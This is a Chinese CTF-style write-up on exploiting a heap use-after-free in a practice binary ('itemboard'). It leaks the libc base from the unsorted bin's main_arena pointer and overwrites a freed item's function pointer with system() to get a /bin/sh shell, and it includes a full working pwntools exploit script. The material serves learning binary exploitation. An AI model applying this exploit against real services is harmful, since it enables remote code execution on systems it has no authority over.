pwn 堆溢位之 洩露基址

2021-09-19 16:54:44 字數 2443 閱讀 2502

這篇部落格寫的非常好  受教了   本來其實我是看的另一道題  但是那道題 感覺並不是很適合我這種萌新  然後我就看到了這道題 就 

由於這個篇文章寫的很清楚 而且   **直接就可以拿到flag  我決定換乙個庫來實驗  就用我的 16.04 的 版本號 

我們先看一下執行庫

看的出來是 2.23.so的庫 我們把他找出來 

然後 這個題的保護是 

是由pie的  那麼 我本來的想法 就失敗了  libc的基址 不能夠洩露出來 然後 這裡 的話    上面的那個部落格就寫的非常全面 就是  :

而在fastbin為空時,unsortbin的fd和bk指向自身main_arena中,該位址的相對偏移值存放在libc.so中,可以通過use after free後列印出main_arena的實際位址,結合偏移值從而得到libc的載入位址。

申請兩個堆 然後釋放掉乙個堆

add('aaaa',0x80,'bbbb')

add('cccc',0x80,'dddd')

dele(0)

看一下 堆的變化

這裡可以看的出來 是 main_arena+88的位址 main_arena的基址存放在libc中的malloc_trim()函式中  那麼我們去找一下 2.23so的 malloc_trim()函式

那麼 main_arena 的基址就是0x3c4b20 那麼我們就可以求出來我們的lib的基址

得到我們lib的基址 就能夠獲得我們的 system的位址   那麼 我們可以利用 堆 優先考慮  最先釋放的堆的位址  那麼 我們可以 用uaf 的特性 來 將  臨時申請的 item的free 指標 指向 system 就可以了

那麼這道題 就完美結束了

#!/usr/bin/python2

#coding=utf8

from pwn import *

io=process("./itemboard")

libc=elf("./libc6_2.23.so")

def add(name,len,context):

io.recvuntil("choose:")

io.sendline("1")

io.recvuntil("item name?")

io.sendline(name)

io.recvuntil("description's len?")

io.sendline(str(len))

io.recvuntil("description?")

io.sendline(context)

def show(index):

io.recvuntil("choose:")

io.sendline("3")

io.recvuntil("which item?")

io.sendline(str(index))

def dele(index):

io.recvuntil("choose:")

io.sendline("4")

io.recvuntil("which item?")

io.sendline(str(index))

if __name__ =='__main__':

add('aaaa',0x80,'bbbb')

add('cccc',0x80,'dddd')

dele(0)

show(0)

io.recvuntil("description:")

libc_base_addr=u64(io.recv(6).ljust(8,'\x00'))-88-0x3c4b20

system_addr=libc_base_addr+libc.symbols['system']

print 'system address: ',hex(system_addr)

dele(1)

add('aaaa',0x18,'eeee')

dele(2)

add('aaaa',0x18,'/bin/sh;'+'s'*8+p64(system_addr))

dele(2)

io.interactive()

在本地成功!

pwn入門之二 緩衝溢位

pwn入門二 緩衝溢位 環境 cenos6.5 64位,安裝了 gcc的32位編譯庫,cenos執行於文字模式,搭建方法見博文 pwn入門之一 搭建64位centos6.5虛擬機器 一 建立 test1.c,內容如下 include main 可以不必去理解這段 的含義,只要無誤的輸入就可以了,理解...

堆溢位利用

0x1 申請 0x2 使用 0x3 釋放 堆塊包括塊首與塊身 返回的指標指向 塊首是乙個堆塊頭部的幾個位元組,用來標識這個堆塊自身的資訊。未被占用的堆區 被占用的堆區 位於堆區的起始位置,堆表分為兩種空閒雙向鍊錶freelist 空表 128條 和快速單向鍊錶lookaside 快表 最多只有四項 ...

認識堆溢位

學習資料 之前學了一些棧溢位的知識和方法,首先比較了一下堆溢位和它的區別 堆上並不存在返回位址等可以讓攻擊者直接控制執行流程的資料,因此我們一般無法直接通過堆溢位來控制 eip 那怎麼辦呢,第一步要了解一些堆的知識,一邊學的時候一邊查詢就好了,知識點我只看了簡單的部分 堆溢位和棧溢位的危險函式都差不...